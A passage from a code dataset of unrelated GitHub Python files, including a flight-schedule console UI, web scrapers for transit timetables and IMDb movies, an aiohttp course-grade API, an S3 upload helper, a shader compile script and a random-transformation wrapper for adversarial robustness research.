self.__flight_service\r\n\r\n def print_menu(self):\r\n print(\"1. Add flight\")\r\n print(\"2. Delete flight\")\r\n print(\"3. List the airports, in decreasing order of activity.\")\r\n print(\"4. List the time intervals during which no flights are airborne, in decreasing order of their length\")\r\n print(\"5. List all time intervals during which the maximum number of flights are airborne \")\r\n print(\"0. exit\")\r\n print('\\n')\r\n\r\n def __print_list(self, objects):\r\n for object in objects:\r\n print(object)\r\n\r\n def add_flight_ui(self):\r\n flight_id = input(\"ID: \")\r\n departure_city = input(\"Departure city: \")\r\n departure_hour = int(input(\"Departure hour: \"))\r\n departure_minute = int(input(\"Departure minute: \"))\r\n departure_time = time(hour=departure_hour, minute=departure_minute)\r\n arrival_city = input(\"Arrival city: \")\r\n arrival_hour = int(input(\"Arrival hour: \"))\r\n arrival_minute = int(input(\"Arrival minute: \"))\r\n arrival_time = time(hour=arrival_hour, minute= arrival_minute)\r\n\r\n\r\n new_flight = Flight(flight_id, departure_city, departure_time, arrival_city, arrival_time)\r\n self.flight_service.add_flight(new_flight)\r\n print(\"The flight was added.\")\r\n\r\n def delete_flight_ui(self):\r\n flight_id = input(\"Enter the flight id: \")\r\n self.flight_service.delete_flight(flight_id)\r\n print(\"The flight was deleted\")\r\n\r\n def list_airports_decreasing_by_activity_ui(self):\r\n resulted_list_of_airports = self.flight_service.list_of_airports_decreasing_by_activity()\r\n print(\"AIRPORTS: \")\r\n print('\\n')\r\n self.__print_list(resulted_list_of_airports)\r\n\r\n def list_time_intervals_with_no_flights_airborne(self):\r\n resulted_intervals = self.flight_service.intervals_with_no_airborne()\r\n self.__print_list(resulted_intervals)\r\n\r\n def list_time_intervals_with_maximum_flights_airborne_ui(self):\r\n pass\r\n\r\n def start(self):\r\n user_options = {1: self.add_flight_ui, 2: self.delete_flight_ui, 3: self.list_airports_decreasing_by_activity_ui,\r\n 4: self.list_time_intervals_with_no_flights_airborne,\r\n 5: self.list_time_intervals_with_maximum_flights_airborne_ui}\r\n\r\n self.print_menu()\r\n while True:\r\n user_option = int(input(\"Enter option: \"))\r\n try:\r\n if user_option in user_options:\r\n user_options[user_option]()\r\n elif user_option == 0:\r\n print(\"Bye bye!\")\r\n break\r\n else:\r\n print(\"The given option is not valid.\")\r\n except Exception as exception_message:\r\n print(\"Errors:\")\r\n print(exception_message)\r\n\r\n","repo_name":"daria-andrioaie/Fundamentals-Of-Programming","sub_path":"e2-911-Andrioaie-Daria/ui/ui.py","file_name":"ui.py","file_ext":"py","file_size_in_byte":3110,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"5548292761","text":"def smallestRange(nums):\n #Initialize the range with maximum values\n range = [-100000, 100000]\n k = len(nums)\n \n # Flat the given 2D array into a 1D array and also sort it\n # The Flat array will have tuples with each tuple having the item and also a number indicating which list it belongs to\n list = sorted([(item,i) for i,sublist in enumerate(nums) for item in sublist])\n i,j = 0,0\n n = len(list)\n dict = {}\n groups = 0\n \n while j < n:\n # Get the list number the jth tuple belongs to\n group = list[j][1]\n \n # Add it to the dictionary\n dict[group] = dict.get(group, 0) + 1\n \n # If this is the first time we are putting it into dictionary, increment groups\n if(dict[group] == 1): groups += 1\n \n \n # While the number of groups are the same as number of lists initially in the array, then do the calculations of finding range\n while groups == k:\n # a and b are the first and last elements of current window/range\n a = list[i][0]\n b = list[j][0]\n \n # c and d are the elements from previous range \n c = range[0]\n d = range[1]\n\n # Check the condition and if true, update the range\n if((b - a) < (d - c)):\n range[0] = a\n range[1] = b\n \n #Remove calculations for ith index before shrinking the window from left side\n dict[list[i][1]] -= 1\n if dict[list[i][1]] == 0: groups -= 1\n \n # Shrink the window from left side\n i += 1\n #Increase window size from right side\n j += 1\n\n \n return range\n\nnums = [[4,10,15,24,26],[0,9,12,20],[5,18,22,30]]\nrange = smallestRange(nums)\n\nprint(\"Smallest Range Covering Elements from all lists ->\", range)","repo_name":"itsarvindhere/Sliding-Window","sub_path":"030. Smallest Range Covering Elements from K Lists/Range.py","file_name":"Range.py","file_ext":"py","file_size_in_byte":1921,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"9121193795","text":"import requests\nfrom bs4 import BeautifulSoup\n\ndef get_data():\n\n url = \"https://ztm.gda.pl/rozklady\"\n\n response = requests.get(url)\n\n if response.status_code==200:\n\n soup = BeautifulSoup(response.text, \"html.parser\")\n\n route_list = soup.find_all(\"ul\", class_=\"route-type-list\")\n\n return route_list\n else:\n return False\n\n\n\n\n","repo_name":"mikitomi21/Public_transport_timetable","sub_path":"Download_data.py","file_name":"Download_data.py","file_ext":"py","file_size_in_byte":363,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"15669893727","text":"from aiohttp import web\nfrom aiohttp.web import Response, json_response, Application\nfrom .decorator import require_szkc_login\nfrom .login_spider import login_szkc\nfrom .grade_spider import get_grade\nfrom .table_spider import get_table\nimport os\n\napi = web.Application()\n\nasync def login_szkc_api(request):\n jdata = await request.json()\n sid = jdata['sid']\n pwd = jdata['pwd']\n cookies = await login_szkc(sid, pwd)\n return json_response(cookies)\n\n@require_szkc_login\nasync def grade_all_api(request, sid, cookies):\n query_string = request.rel_url.query_string\n if query_string:\n keys = []; vals = []\n for _ in query_string.split('&'):\n keys.append(_.split('=')[0])\n vals.append(_.split('=')[1])\n args = dict(zip(keys, vals))\n xnm = args.get('xnm'); xqm = args.get('xqm')\n gradeList = await get_grade(cookies, sid, xnm, xqm)\n if gradeList:\n return json_response(gradeList)\n else:\n return Response(body=b'', content_type='application/json', status=403)\n\n@require_szkc_login\nasync def szkc_table_api(request, sid, cookies):\n #先查询出课表,再添加到数据库中\n xnm = os.getenv('XNM')\n xqm = os.getenv('XQM')\n tabledb = request.app['tabledb']\n userdb = request.app['userdb']\n document = await tabledb.tables.find_one({'sid': sid})\n userdoc = await userdb.users.find_one({'sid': sid})\n usertables = []\n if userdoc:\n usertables = userdoc['table']\n #用户还没有普通课表\n if not document:\n return Response(body = b'{\"msg\":\"user have no normal table\"}',\n content_type='application/json', status=400)\n #获取素质课课表\n tables = await get_table(cookies, xnm, xqm)\n #若有则加入到数据库中\n if tables:\n for index, item in enumerate(tables):\n tables[index]['id'] = str(index+1) #分配ID\n tables[index]['color'] = index-4*(index//4) # 分配color\n await tabledb.tables.insert_one({'sid': sid, 'table': tables})\n return web.json_response(tables+usertables)\n #否则返回403\n return web.Response(body=b'{\"msg\": \"can not get szkc table\"}',\n content_type='application/json', status=403)\n\n\napi.router.add_route('POST', '/szkc/login/', login_szkc_api, name='login_szkc_api')\napi.router.add_route('GET', '/szkc/grade/', grade_all_api, name='szkc_grade_api')\napi.router.add_route('GET', '/szkc/table/', szkc_table_api, name='szkc_table_api')","repo_name":"asynccnu/szkc_service","sub_path":"service/api.py","file_name":"api.py","file_ext":"py","file_size_in_byte":2504,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"39719645051","text":"import base64\nimport boto3\nfrom botocore.exceptions import ClientError\nimport hashlib\nfrom io import BytesIO\nimport mimetypes\nimport os\nfrom zipfile import ZipFile\n\nfrom logger import createLog\n\nlogger = createLog(__name__)\n\n\nclass S3Manager:\n def __init__(self):\n pass\n\n def createS3Client(self):\n self.s3Client = boto3.client(\n 's3',\n aws_access_key_id=os.environ.get('AWS_ACCESS', None),\n aws_secret_access_key=os.environ.get('AWS_SECRET', None),\n region_name=os.environ.get('AWS_REGION', None)\n )\n\n def createS3Bucket(self, bucketName, bucketPermissions):\n s3Resp = self.s3Client.create_bucket(\n ACL=bucketPermissions,\n Bucket=bucketName\n )\n\n if 'Location' in s3Resp:\n return True\n\n raise S3Error('Unable to create bucket in s3')\n\n def putObjectInBucket(\n self, obj, objKey, bucket, bucketPermissions='public-read'\n ):\n objMD5 = S3Manager.getmd5HashOfObject(obj)\n objExtension = objKey[-4:].lower()\n\n existingObject = None\n try:\n if objExtension == 'epub':\n existingObject = self.getObjectFromBucket(\n objKey, bucket, md5Hash=objMD5\n )\n except S3Error:\n logger.info('{} does not yet exist'.format(objKey))\n\n if existingObject and (\n existingObject['ResponseMetadata']['HTTPStatusCode'] == 304\n or existingObject['Metadata'].get('md5checksum', None) == objMD5\n ):\n logger.info('Skipping existing, unmodified file {}'.format(objKey))\n return None\n\n try:\n if objExtension == 'epub':\n self.putExplodedEpubComponentsInBucket(obj, objKey, bucket)\n\n objectType = mimetypes.guess_type(objKey)[0]\\\n or 'binary/octet-stream'\n\n return self.s3Client.put_object(\n ACL=bucketPermissions,\n Body=obj,\n Bucket=bucket,\n Key=objKey,\n ContentMD5=objMD5,\n ContentType=objectType,\n Metadata={'md5Checksum': objMD5}\n )\n except ClientError:\n raise S3Error('Unable to store file in s3')\n\n def putExplodedEpubComponentsInBucket(self, obj, objKey, bucket):\n keyRoot = '.'.join(objKey.split('.')[:-1])\n\n with ZipFile(BytesIO(obj), 'r') as epubZip:\n for component in epubZip.namelist():\n componentObj = epubZip.open(component).read()\n componentKey = '{}/{}'.format(keyRoot, component)\n self.putObjectInBucket(componentObj, componentKey, bucket)\n\n def getObjectFromBucket(self, objKey, bucket, md5Hash=None):\n try:\n return self.s3Client.get_object(\n Bucket=bucket,\n Key=objKey,\n IfNoneMatch=md5Hash\n )\n except ClientError:\n raise S3Error('Unable to get object from s3')\n\n @staticmethod\n def getmd5HashOfObject(obj):\n m = hashlib.md5()\n m.update(obj)\n return base64.b64encode(m.digest()).decode('utf-8')\n\n\nclass S3Error(Exception):\n def __init__(self, message=None):\n self.message = message\n","repo_name":"NYPL/drb-etl-pipeline","sub_path":"managers/s3.py","file_name":"s3.py","file_ext":"py","file_size_in_byte":3285,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"37"} +{"seq_id":"33694136508","text":"import os\nimport subprocess\n\ndef main():\n file_list=os.listdir()\n\n target_shader=[]\n\n for file in file_list:\n ext = file.split('.')[-1]\n if ext == 'vert' or ext == 'frag' or ext == 'comp' or ext == 'tesc' or ext == 'tese':\n target_shader.append(file)\n \n for shader in target_shader:\n result = os.popen(\"glslc \" + shader +\" -o \" + shader + \".spv\").read()\n if result == \"\":\n print(shader + \" compile successfully!\")\n else:\n print(result)\n print(\"Compile complete!\")\n input()\n\nif __name__ == '__main__':\n main()","repo_name":"Chaf-Libraries/LSRViewer","sub_path":"data/shaders/glsl/gpudrivenpipeline/compile.py","file_name":"compile.py","file_ext":"py","file_size_in_byte":600,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"37"} +{"seq_id":"26632727961","text":"from requests import get\r\nimport datetime as dt\r\nfrom math import ceil\r\nimport os\r\nimport multiprocessing\r\n\r\nimport pandas as pd\r\nfrom bs4 import BeautifulSoup\r\n\r\ntoday = dt.date.today()\r\n\r\n\r\n# outputs a link to imdb search page of all titles released from start date till today, starting from a certain number\r\ndef make_url(start=1, start_date=\"1995-01-01\"):\r\n url = 'https://www.imdb.com/search/title/?release_date={},{}&num_votes=5000,&countries=us&sort=release_date,' \\\r\n 'asc&count=250&start={}&ref_=adv_nxt'.format(start_date, today, str(start))\r\n return url\r\n\r\n\r\ndef find_links_amount(start_date=\"1995-01-01\"):\r\n # finding out the amount of titles, that will be used further\r\n url = make_url(start_date=start_date)\r\n response = get(url)\r\n html_soup = BeautifulSoup(response.text, 'html.parser')\r\n amount_container = html_soup.find('div', class_='desc')\r\n amount_str = amount_container.span.text[9:15] # looks like 1-250 of 9,643 titles.\r\n if amount_str[5] == \" \":\r\n links_amount = int(amount_str[0] + amount_str[2:5])\r\n else:\r\n links_amount = int(\r\n amount_str[0:2] + amount_str[3:6]) # gives 4- or 5-digit number of available titles (by the time of\r\n # writing this program, the amount was pretty close to 10000, so this was made for the future)\r\n return links_amount\r\n\r\n\r\ndef get_links(num: int):\r\n response = get(make_url(num))\r\n html_soup = BeautifulSoup(response.text, 'html.parser')\r\n content_unit = html_soup.find_all(\"div\", class_='lister-item-content')\r\n for item in content_unit:\r\n spans = item.find_all(\"span\", class_='text-muted')\r\n textspans = []\r\n for j in spans:\r\n textspans.append(j.text)\r\n if \"Gross:\" in textspans:\r\n content_unit = item.find('h3', class_='lister-item-header')\r\n link = \"\".join([\"http://imdb.com\", content_unit.find('a', href=True)['href']])\r\n pd.DataFrame({\"Links\": [link]}).to_csv(\"temporary.csv\", mode='a', header=False, index=False)\r\n\r\n\r\ndef get_titles_links(start_date=\"1995-01-01\"):\r\n # collecting the links for movies with gross only (automatically excluding series, as they have no gross)\r\n links_amount = find_links_amount(start_date=start_date)\r\n pd.DataFrame(columns=[\"Links\"]).to_csv(\"temporary.csv\", index=False)\r\n args = []\r\n for i in range(ceil(links_amount / 250)):\r\n args.append((250 * i + 1,))\r\n pool = multiprocessing.Pool()\r\n pool.starmap(get_links, args)\r\n pool.close()\r\n print(\"Congrats!\\nFull list of links has been successfully filtered!\")\r\n\r\n\r\ndef find_simple_feature(soup: str, container_tag: str, container_attrs_key: str, container_attrs_value: str,\r\n feature_tag: str, feauture_class: str,\r\n is_multiple=False) -> str:\r\n container = soup.find(container_tag, attrs={container_attrs_key: container_attrs_value})\r\n if container is not None:\r\n if is_multiple:\r\n features = container.find_all(feature_tag, class_=feauture_class)\r\n feature = \"+\".join([i.text for i in features])\r\n else:\r\n feature = container.find(feature_tag, class_=feauture_class).text\r\n else:\r\n feature = None\r\n return feature\r\n\r\n\r\ndef convert_to_usd(amount, currency):\r\n currency_dict = {\"£\": \"GBP\", \"₹\": \"INR\", '€': \"EUR\", \"THB\": \"THB\", \"DKK\": \"DKK\", \"HUF\": \"HUF\", \"CA$\": \"CAD\",\r\n \"A$\": \"AUD\", \"CN¥\": \"CNY\", \"HK$\": \"HKD\", \"PLN\": \"PLN\"}\r\n link_for_currencies = \"https://www.xe.com/currencyconverter/convert/?Amount={}&From={}&To=USD\"\r\n if currency in currency_dict.keys():\r\n usd_link = link_for_currencies.format(amount, currency_dict[currency])\r\n usd_response = get(usd_link)\r\n usd_soup = BeautifulSoup(usd_response.text, 'html.parser')\r\n usd_amount_string = usd_soup.find(\"p\", class_=\"result__BigRate-sc-1bsijpp-1 iGrAod\")\r\n if usd_amount_string is not None:\r\n usd_amount = \"$\"\r\n for i in usd_amount_string.text:\r\n if i.isnumeric():\r\n usd_amount += i\r\n elif i == \".\":\r\n break\r\n return usd_amount\r\n else:\r\n return None\r\n elif currency == \"$\":\r\n usd_amount = \"$\" + \"\".join([i for i in amount if i.isnumeric()])\r\n return usd_amount\r\n else:\r\n return None\r\n\r\n\r\ndef parse_movie_link(link: str):\r\n response = get(link, headers={\"Accept-Language\": \"en-US, en;q=0.5\"})\r\n html_soup = BeautifulSoup(response.text, 'html.parser')\r\n\r\n # sometimes imdb has no information about one of the features we need\r\n # most of the features are None than, but some features like release year or gross can be tried to obtain anyway.\r\n # For example, if there are no worldwide gross, it captures the biggest gross in section\r\n title_container = html_soup.find(\"h1\", attrs={\"data-testid\": \"hero-title-block__title\"})\r\n if title_container is not None:\r\n title = title_container.text\r\n else:\r\n title = None\r\n\r\n genres = find_simple_feature(html_soup, \"li\", \"data-testid\", \"storyline-genres\", \"a\",\r\n \"ipc-metadata-list-item__list-content-item \"\r\n \"ipc-metadata-list-item__list-content-item--link\", True)\r\n age_rating = find_simple_feature(html_soup, \"li\", \"data-testid\", \"storyline-certificate\", \"span\",\r\n \"ipc-metadata-list-item__list-content-item\")\r\n companies = find_simple_feature(html_soup, \"li\", \"data-testid\", \"title-details-companies\", \"a\",\r\n \"ipc-metadata-list-item__list-content-item \"\r\n \"ipc-metadata-list-item__list-content-item--link\", True)\r\n length = find_simple_feature(html_soup, \"li\", \"data-testid\", \"title-techspec_runtime\", \"div\",\r\n \"ipc-metadata-list-item__content-container\")\r\n\r\n score_container = html_soup.find(\"span\", class_=\"sc-7ab21ed2-1 jGRxWM\")\r\n if score_container is not None:\r\n score = score_container.text\r\n else:\r\n score = None\r\n\r\n num_of_scores_container = html_soup.find('div', class_='sc-7ab21ed2-3 dPVcnq')\r\n if num_of_scores_container is not None:\r\n num_of_scores = num_of_scores_container.text\r\n else:\r\n num_of_scores = None\r\n\r\n # other features are not that simple to get...\r\n authors_container = html_soup.find_all(\"li\", attrs={\"data-testid\": \"title-pc-principal-credit\"})\r\n if authors_container is not None:\r\n if \"Writer\" or \"Writers\" in [i.text for i in\r\n authors_container.find_all(\"span\", class_=\"ipc-metadata-list-item__label\")]:\r\n if \"Director\" or \"Directors\" in [i.text for i in\r\n authors_container.find_all(\"span\",\r\n class_=\"ipc-metadata-list-item__label\")]:\r\n # directors is always the first section\r\n directors_container = authors_container[0].find_all(\"a\",\r\n class_=\"ipc-metadata-list-item__list-content-item \"\r\n \"ipc-metadata-list-item__list-content-item\"\r\n \"--link\")\r\n directors = \"+\".join([i.text for i in directors_container])\r\n\r\n writers_container = authors_container[1].find_all(\"a\",\r\n class_=\"ipc-metadata-list-item__list-content-item \"\r\n \"ipc-metadata-list-item__list-content-item\"\r\n \"--link\")\r\n writers = \"+\".join([i.text for i in writers_container])\r\n else:\r\n directors = None\r\n writers_container = authors_container[0].find_all(\"a\",\r\n class_=\"ipc-metadata-list-item__list-content-item \"\r\n \"ipc-metadata-list-item__list-content-item\"\r\n \"--link\")\r\n writers = \"+\".join([i.text for i in writers_container])\r\n else:\r\n writers = None\r\n if \"Director\" or \"Directors\" in [i.text for i in\r\n authors_container.find_all(\"span\",\r\n class_=\"ipc-metadata-list-item__label\")]:\r\n directors_container = authors_container[0].find_all(\"a\",\r\n class_=\"ipc-metadata-list-item__list-content-item \"\r\n \"ipc-metadata-list-item__list-content-item\"\r\n \"--link\")\r\n directors = \"+\".join([i.text for i in directors_container])\r\n else:\r\n directors = None\r\n if \"Star\" or \"Stars\" in [i.text for i in\r\n authors_container.find_all(\"span\", class_=\"ipc-metadata-list-item__label\")]:\r\n # stars are always the last section\r\n stars_container = authors_container[-1].find_all(\"a\", class_=\"ipc-metadata-list-item__list-content-item \"\r\n \"ipc-metadata-list-item__list-content-item\"\r\n \"--link\")\r\n stars = \"+\".join([i.text for i in stars_container])\r\n else:\r\n stars = None\r\n else:\r\n directors = None\r\n writers = None\r\n stars = None\r\n\r\n release_year_container = html_soup.find(\"li\", attrs={\"data-testid\": \"title-details-releasedate\"})\r\n if release_year_container is not None:\r\n full_release_date = release_year_container.find(\"a\",\r\n class_=\"ipc-metadata-list-item__list-content-item \"\r\n \"ipc-metadata-list-item__list-content-item--link\").text\r\n if len(full_release_date.split(\",\")) == 2:\r\n release_yr = full_release_date.split(\",\")[1][1:5]\r\n release_date = full_release_date.split(\",\")[0]\r\n else:\r\n release_yr = full_release_date[0:5]\r\n release_date = None\r\n else:\r\n release_yr = None\r\n release_date = None\r\n\r\n worldwide_gross_container = html_soup.find(\"li\", attrs={\"data-testid\": \"title-boxoffice-cumulativeworldwidegross\"})\r\n if worldwide_gross_container is not None:\r\n gross = worldwide_gross_container.find(\"span\", class_=\"ipc-metadata-list-item__list-content-item\").text\r\n currency = \"\"\r\n for k in gross:\r\n if not k.isnumeric() and k != u'\\xa0':\r\n currency += k\r\n else:\r\n break\r\n gross = convert_to_usd(gross, currency)\r\n budget_container = html_soup.find(\"li\", attrs={\"data-testid\": \"title-boxoffice-budget\"})\r\n if budget_container is not None:\r\n budget = budget_container.find(\"span\", class_=\"ipc-metadata-list-item__list-content-item\").text\r\n currency = \"\"\r\n for k in budget:\r\n if not k.isnumeric() and k != u'\\xa0':\r\n currency += k\r\n else:\r\n break\r\n budget = \"\".join([i for i in budget if i.isnumeric()])\r\n budget = convert_to_usd(budget, currency)\r\n else:\r\n budget = None\r\n else:\r\n grosses_container = html_soup.find(\"div\", attrs={\"data-testid\": \"title-boxoffice-section\"})\r\n if grosses_container is not None:\r\n budget_container = html_soup.find(\"li\", attrs={\"data-testid\": \"title-boxoffice-budget\"})\r\n if budget_container is not None:\r\n budget = budget_container.find(\"span\", class_=\"ipc-metadata-list-item__list-content-item\").text\r\n currency = \"\"\r\n for k in budget:\r\n if not k.isnumeric() and k != u'\\xa0':\r\n currency += k\r\n else:\r\n break\r\n budget = \"\".join([i for i in budget if i.isnumeric()])\r\n budget = convert_to_usd(budget, currency)\r\n else:\r\n budget = None\r\n all_grosses_containers = grosses_container.find_all(\"span\",\r\n class_=\"ipc-metadata-list-item__list-content-item\")\r\n grosses_texts = [i.text if i.text != budget else \"0\" for i in all_grosses_containers]\r\n gross_dict = {}\r\n for j in grosses_texts:\r\n potential_gross = int(\"\".join([k for k in j if k.isnumeric()]))\r\n currency = \"\"\r\n for k in j:\r\n if not k.isnumeric() and k != u'\\xa0':\r\n currency += j\r\n else:\r\n break\r\n gross_dict[potential_gross] = currency\r\n grosses_in_usd = []\r\n for j in gross_dict.keys():\r\n usd_amount = convert_to_usd(j, gross_dict[j])\r\n if usd_amount is not None:\r\n grosses_in_usd.append(usd_amount[1:])\r\n gross = \"$\" + str(max([grosses_in_usd]))\r\n else:\r\n gross = None\r\n budget = None\r\n\r\n link_for_keywords = \"\".join([link, \"keywords?ref_=tt_stry_kw\"])\r\n response = get(link_for_keywords)\r\n html_soup = BeautifulSoup(response.text, 'html.parser')\r\n keywords_table = html_soup.find(\"table\", class_=\"dataTable evenWidthTable2Col\")\r\n if keywords_table:\r\n keywords_list = keywords_table.find_all(\"div\", class_=\"sodatext\")\r\n keywords = \"+\".join([i.a.text for i in keywords_list])\r\n else:\r\n keywords = None\r\n\r\n print([title, release_yr, release_date, age_rating, length, genres,\r\n directors, writers, stars, companies, score, num_of_scores, budget, gross, keywords])\r\n pd.DataFrame([title, release_yr, release_date, age_rating, length, genres,\r\n directors, writers, stars, keywords, companies, score, num_of_scores, budget, gross]).T.to_csv(\r\n \"movies_data.csv\", mode='a', header=False, index=False)\r\n\r\n\r\ndef parse_list_of_links(some_list: list):\r\n print(\"Starting to parse...\")\r\n pool = multiprocessing.Pool()\r\n args = []\r\n for i in range(len(some_list)):\r\n args.append((some_list[i],))\r\n pool.starmap(parse_movie_link, args)\r\n pool.close()\r\n try:\r\n os.remove(\"temporary.csv\")\r\n except OSError:\r\n pass\r\n print(\"\\n\\nCongratulations! Movie database was successfully created!\")\r\n\r\n\r\n# actual parsing\r\ndef main():\r\n print(\"Starting...\\nPlease wait..\")\r\n pd.DataFrame(\r\n columns=[\"Title\", \"ReleaseYr\", \"ReleaseDate\", \"AgeRating\", \"Length\", \"Genres\", \"Directors\",\r\n \"Writers\", \"Stars\", \"Keywords\", \"ProductionCompanies\", \"Score\", \"NumberOfScores\", \"Budget\",\r\n \"Gross\"]).to_csv(\"movies_data.csv\", index=False)\r\n get_titles_links()\r\n titles_links = list(pd.read_csv(\"temporary.csv\").loc[:, \"Links\"])\r\n parse_list_of_links(titles_links)\r\n\r\n\r\nif __name__ == \"__main__\":\r\n main()\r\n","repo_name":"kekwkekw/movies_ml","sub_path":"imdb_parse.py","file_name":"imdb_parse.py","file_ext":"py","file_size_in_byte":15742,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"70384592427","text":"def natSum(N):\r\n if N == 0:\r\n return 0\r\n else:\r\n return N + natSum(N - 1)\r\n\r\n\r\nif __name__ == \"__main__\":\r\n num = int(input(\"Enter a number : \"))\r\n print(\"The Sum of Natural Number is \", natSum(num))\r\n","repo_name":"arnabbarui5/Data-Structures-and-Algotithms-GFG","sub_path":"Python GFG/Recurrsion/recc_natural_num_sum.py","file_name":"recc_natural_num_sum.py","file_ext":"py","file_size_in_byte":227,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"21026442370","text":"from copy import deepcopy\n\nimport numpy as np\nimport torch\nimport torch.nn.functional as F\nfrom torchvision.utils import save_image\n\nfrom ..utils import set_temp_seed\nfrom .transform import (EPS, get_bpda_transform, get_transform)\nfrom .transform_picker import TransformPicker\nfrom .wrapper import Wrapper\nfrom .bpi_transform import BPITransform\n\n\nclass RandWrapper(Wrapper):\n \"\"\"Wrapper that provides random input transformations.\"\"\"\n\n def __init__(self, base_net, params, input_size, device='cpu'):\n super().__init__()\n self.base_net = base_net\n self.params = params\n self.input_size = input_size\n self.log = params['log']\n self.transforms = {}\n self.default_mode = 'test'\n self.device = device\n self.same_on_batch = params.get('same_on_batch', False)\n\n # Initialize transformations\n self._get_transform_func()\n\n def _get_transform_func(self):\n for tf in self.params['transforms']:\n hparams = deepcopy(self.params[tf])\n hparams['input_size'] = self.input_size\n if 'bpda' in tf:\n self.transforms[tf] = get_bpda_transform(\n hparams, self.device, same_on_batch=self.same_on_batch)\n else:\n self.transforms[tf] = get_transform(\n tf, hparams, with_params=False, same_on_batch=self.same_on_batch)\n\n def apply_transforms(self, x, params, tf_order, fix_order_only=False):\n \"\"\"Apply all transformations in order.\"\"\"\n clip, names = params['clip'], params['transforms']\n seed = 1234 if fix_order_only else None\n t = TransformPicker(\n x.size(0), len(names), params.get('subset_size', len(names)),\n tf_order=tf_order, group_size=params.get('group_size'), seed=seed)\n\n if tf_order != 'fixed' and self.same_on_batch:\n raise ValueError('When same_on_batch is enabled, tf_order must be fixed.')\n\n # Loop through TransformPicker to apply transforms in the given order\n for idx_tf, idx_x in t:\n tf = names[idx_tf]\n # Apply the transform in-place with probability p\n p = params.get('set_all_p', None) or params[tf].get('p', 1.)\n if self.same_on_batch:\n idx_x = np.arange(x.size(0)) if np.random.rand() >= 0.5 else []\n else:\n idx_x = self._apply_prob(idx_x, p)\n if len(idx_x) == 0:\n continue\n # Apply a transform on a subset of inputs\n x_temp = self.transforms[tf](x[idx_x])\n # x_temp = BPITransform.apply(x[idx_x], self.transforms[tf])\n\n # Check for NaN output\n is_nan = torch.isnan(x_temp).reshape(len(idx_x), -1).sum(1)\n if (is_nan > 0).any():\n with torch.no_grad():\n # If there's NaN, use original input\n nan_idx = torch.nonzero(is_nan, as_tuple=True)[0]\n self.log.info(f'{len(nan_idx)} NaN output(s) detected on '\n f'{tf}. Reverting the transform.')\n x_temp[nan_idx] = x[idx_x][nan_idx]\n\n if clip is not None:\n x_temp = x_temp.clamp(clip[0], clip[1])\n x[idx_x] = x_temp\n\n return x\n\n def forward(self, inputs, rand=True, params=None, mode=None, seed=1234, **kwargs):\n \"\"\"\n Run a forward pass which calls on self._forward. This is a wrapper for\n handling the random seed context and mode-specific parameters.\n \"\"\"\n if not rand:\n return self.base_net(inputs)\n if params is None:\n params = self.params\n if mode is None:\n mode = self.default_mode\n\n # TODO: Quick hack to make sure that same_on_batch is correct\n seed = 1234 if self.same_on_batch else seed\n\n if not params[mode].get('fix_seed', False):\n return self._forward(inputs, params=params, **params[mode], **kwargs)\n # Context to set random seed temporarily\n with set_temp_seed(seed):\n output = self._forward(inputs, params=params, **params[mode], **kwargs)\n return output\n\n def _forward(self, inputs, num_draws=None, params=None, rule=None,\n temperature=1., tf_order='random', repeat=True,\n fix_order_only=False, **kwargs):\n \"\"\"Helper function called by forward.\n\n Args:\n inputs (torch.Tensor): Input images.\n num_draws (int, optional): Number of Monte Carlo samples (n).\n params (dict, optional): Parameters for the transformations. \n rule (str, optional): Decision rule (options: 'eot', 'majority',\n 'mean_probs', 'mean_logits')\n temperature (float, optional): Temperature scaling for softmax. \n Defaults to 1.\n tf_order (str, optional): Permutation method of the transforms. \n See TransformPicker for details. Defaults to 'random'.\n repeat (bool, optional): Whether to make copies of the inputs. \n Defaults to True.\n fix_order_only (bool, optional): Whether to fix the transform\n permutation. Defaults to False.\n\n Returns:\n torch.Tensor: Output logits or softmax probability. Exact shape\n also depends on `rule`. If `rule` is 'eot', the shape is \n (batch_size, num_draws, num_classes). Otherwise, the shape is\n (batch_size, num_classes).\n \"\"\"\n batch_size = inputs.size(0)\n x = inputs.repeat_interleave(num_draws, 0) if repeat else inputs\n if x.size(0) != batch_size * num_draws:\n raise ValueError('When `repeat` is True, `train:num_draws` must '\n 'be set to `expand_input`.')\n\n if params.get('save_transformed_img', False):\n save_image(x[:10], 'orig.png')\n x_orig = x.clone()\n\n x_tf = self.apply_transforms(x, params, tf_order, fix_order_only=fix_order_only)\n\n if params.get('save_transformed_img', False):\n save_image(x_tf[:10], 'transform.png')\n print(x_tf.min(), x_tf.max())\n print((x_tf - x_orig).abs().max())\n # raise NotImplementedError('Images are saved. Quiting.')\n import pdb\n pdb.set_trace()\n\n outputs = self.base_net(x_tf)\n if num_draws > 1:\n outputs = outputs.view(batch_size, num_draws, -1)\n outputs = self.apply_decision_rule(outputs, rule, temperature)\n return outputs\n\n def _apply_prob(self, idx, p):\n \"\"\"Filter `idx` with passing probability `p`.\"\"\"\n if p == 0:\n return []\n if p == 1:\n return idx\n return np.array(idx)[np.random.uniform(size=len(idx)) >= 0.5]\n\n @staticmethod\n def apply_decision_rule(logits, rule, temperature):\n \"\"\"\n Apply the specified decision rule on logits (can be 2-dim or 3-dim).\n Return logits if logits has shape (N, C) or if rule is 'eot' or \n 'mean_logits'. If rule is 'majority' or 'mean_probs', return a\n softmax probability distribution over classes with shape (N, C).\n \"\"\"\n if logits.dim() == 2:\n return logits\n if rule == 'eot':\n logits = logits.squeeze(1)\n return logits\n\n if rule == 'majority':\n # NOTE: majority vote does not have gradients\n y_pred = logits.argmax(2).cpu()\n num_classes = logits.size(-1)\n y_pred = np.apply_along_axis(\n lambda z, n=num_classes: np.bincount(z, minlength=n),\n axis=1, arr=y_pred) / float(y_pred.size(1))\n outputs = torch.from_numpy(y_pred).to(logits.device)\n outputs.clamp_min_(EPS)\n elif rule == 'mean_logits':\n outputs = logits.mean(1) / temperature\n elif rule == 'mean_probs':\n outputs = 